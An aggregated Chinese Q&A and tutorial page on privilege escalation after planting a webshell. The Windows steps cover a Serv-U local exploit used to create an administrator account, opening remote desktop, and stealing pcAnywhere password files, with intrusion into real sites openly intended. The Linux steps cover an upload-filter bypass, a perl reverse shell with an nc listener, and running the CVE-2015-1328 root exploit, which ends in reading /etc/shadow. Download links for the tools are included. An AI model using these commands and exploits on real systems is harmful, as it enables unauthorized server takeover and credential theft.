拿到shell怎样提权啊!
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了拿到shell怎样提权啊!相关的知识,希望对你有一定的参考价值。
麻烦的事情
参考技术A 到webshell后提权的三种方法,当然还有其它的方法在以后的时间呈现给大家,祝大家国庆愉快。好好把握时间。webshell提权是一门学问。它涉及到不只是一些软件,一些方法。最重要的是思路。今天就是来学习webshell的提权的两种特别常见的方法。以及一些提权思路在学习之前呢。推荐大家看一下这个文章。] http://bbs.hackbase.com/viewthread.php?tid=2686993&fpage=1 虽然有些办法而今已经不适用了。但是有的办法还依然可以提升权限。。下图为察看本地察看权限的方法:新仔是当前用户zxpc为计算机名,大家可以看他的权限我们再提权之前。要知道什么是提权。为什么要提权。提权的原因是,我们拿到一个服务器的webshell以后。如果想进而扩大战果。拿下整个服务器。开这个服务器的3389,。远程桌面登陆。仅仅靠一个webshell是不可能作到的。因为webshell的权限是GUEST。很低的权限。而我们想在服务器上运行我们的木马后门。必须要在administrator权限以上。所以我们就要把我们的权限提升成为administrator权限。知道原理以后,我们就来看一看提权基本上有哪些方法1。首先是利用serv-u提权。serv-u是一款出色的FTP工具。很多企业。服务器都使用它作为本地传输文件的媒介。默认来说。serv-u是以系统权限执行的。所以会每次开机都自动以系统权限启动。。安装。,使用过serv-u的朋友们估计都知道。serv-u 有一个本地的帐户。也就是本地管理serv-u服务器的admin。我们就可以利用这个admin帐户。来执行我们需要的命令。这就是serv-u本地提权的来路。假设我们已经拿到了一个站的webshell。我们来看一下这个站的设置。以及构造。从结构上来看。cmd.exe不能直接被执行。net user一些基本的命令也不能直接在webshell里运行。图1输入命令图2运行错误图3 cmd执行成功但是有写权限。,所以我们就需要找到一个可以运行文件的目录。传一个cmd.exe 和一个serv-u的本地提权工具过去。工具已经打包。大家可以到我们的主页去下载。 www.hackbase.com 好了。,我们首先要找可以执行文件的目录。什么是能执行文件的目录呢?如图1。当本地IISUSER可执行。或者everyone可执行。的时候,该目录就为能执行文件的目录。当然,我们在webshell里是看不到这些的。所以我们就要逐一尝试。一般来说。网站跟目录里面的任何目录都具有可写,可执行的权限。我们现在就来看看如何在这种情况下。提权成功。。利用工具。3389.exe ftp.exe cmd.exe 修改版本图4 这是上传到webshell中的工具我们假设找到了可执行文件的目录。d:\1 我们把我们的3个工具都放上去。我们在海洋木马的,执行如下命令。d:\1\ftp.exe "里面为我们任意希望执行的DOS命令"比如.我们希望加一个用户在里面。我们就执行。d:\1\ftp.exe “net user 123 /add”这样就建立了一个名字为123密码是空的用户了。继续执行 d:\1\ftp.exe “net localgroup administrators 123 /add”就把它提升到了管理员组图5传说中的管理员组然后我们需要开3389。在这里我推荐给大家一款能开XP 2000SERVER 和2003三种系统的3389.exe图6 3389.exe的使用,就是在webshell中输入图中的命令非常方便。而且开XP 和03系统不用重起。本身才17K大小。可以再加个别的壳。好了。我们到d:\1\ftp.exe “d:\1\3389.exe”这样就提权了。。如图7 我们还可以利用这个FTP本地提权执行我们的反弹木马。这样一来。就算对方是内网。,也乖乖的上线了。。第2种方法。PCANYWHERE提权。 图8pcanywhere是一款非常优秀的远程控制软件。它可以修改任意连接端口。设置访问权限。所以很多网站的管理员都舍弃了3389。而使用它。但是。它的密码文件都保存在了C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\目录下。我们直接在webshell里面如果能跳转到这个目录。就可以拿到它的*.cif文件。下载回本地以后。用专门破它密码的工具一跑。。马上就出来了。。然后呢。就是本地安装一个pcanywhere来连接对方。如果对方有IP限制。或者做了连接防范,我们就只好端口映射了。。具体方法。进参阅 http://bbs.hackbase.com/viewthread.php?tid=2715744&fpage=1 里的“新手入门第8课”好了。第3种方法。就是利用系统漏洞进行溢出。在这里我向大家推荐一篇MS05039漏洞提权的文章 http://bbs.hackbase.com/viewthread.php?tid=2772128&fpage=1本回答被提问者采纳Linux内核漏洞提权(以CVE-2015-1328为例)
Linux内核漏洞提权
一般webshell拿到的权限都是web容器权限,如iis就是iss用户组权限,apache就是apache 权限,可以执行普通命令,但是如果要进行内网渗透就需要拿到系统权限或者超级管理员权限
linux提权首先需要创建交互shell
靶机环境Ubuntu15.04
保证主机与靶机之间可以连通
拿shell
利用已有的web漏洞,如文件上传,命令执行等上传一句话木马,得到交互式shell
假如web界面存在文件上传
测试之后发现,修改文件头可以绕过上传检测
成功上传一句话文件,并且拿到了存放位置
使用蚁剑连接就可以
打开终端,使用命令查看用户为 www-data 权限
可以使用工具 perl-reverse-shell.pl 建立 sockets 连接方便之后的操作
首先把这个脚本通过蚁剑上传至服务器,修改反弹shell的IP和端口
使用命令增加执行权限
chmod +x perl-reverse-shell.pl
使用ls -al命令发现脚本具有了执行权限
本机使用nc监听相应端口
nc -lvvp 1234
然后再蚁剑执行反弹shell脚本,成功接收到shell
这样的话就拿到shell,就可以愉快的进行接下来的提权了(这步不喜欢可以省略)
提权
在拿到一个低权限用户后,对系统的信息进行收集,找到可以利用的漏洞点
信息收集
基本步骤
- 检测操作系统的发行版本
- 查看内核版本
- 检测当前用户权限
- 列举Suid文件
- 查看已经安装的包,程序,运行的服务,过期的版本可能有漏洞
-
查看发行版
cat /etc/issue cat /etc/*release
-
查看内核版本
uname -a #查看内核版本 lsb_release –a #当前系统发行版的具体版本号
拿到这些信息之后可以去exploit db根据内核版本查找可用提权方法
https://www.exploit-db.com/
查看第二个利用方法,https://www.exploit-db.com/exploits/37292,点进去可以看到漏洞利用详情
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT
user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)
也可以使用kali自带本地版本的Exploit-DB库,其中包含了各种exp和代码(和网页上搜的是一样的)
使用SearchSploit来访问这个exp库
#searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23 | exploits/linux_x86/local/42276.c
复制exp位置,locate查找完整的路径
# locate linux/local/8572.c
/usr/share/exploitdb/exploits/linux/local/8572.c
查看该文件,查看关于exp的详细信息
详细信息中有利用方式和漏洞exp,这个利用方法较简单,只需要上传文件,gcc编译exp,然后运行即可
复制exploit给出的 exp,新建文件ofs.c,粘贴复制的exp,使用蚁剑上传至靶场中,执行以下命令
$ gcc ofs.c -o ofs
$ chmod 777 ofs
$ ./ofs
可以发现成功提权为root用户
切换shell
反弹的shell,使用起来不太方便,可以用python,切换至正常的shell
python -c 'import pty;pty.spawn("/bin/bash")'
拥有root用户就可以查看更多文件
比如查询密文文件
cat /etc/shadow
提权原理可以看这篇文章:https://xz.aliyun.com/t/2054
附件
题目中用到的工具和脚本
「perl-reverse-shell.pl」等文件,点击链接保存,或者复制本段内容,打开「阿里云盘」APP ,无需下载,极速在线查看享用。 链接:https://www.aliyundrive.com/s/ZDAwUAsyghD
以上是关于拿到shell怎样提权啊!的主要内容,如果未能解决你的问题,请参考以下文章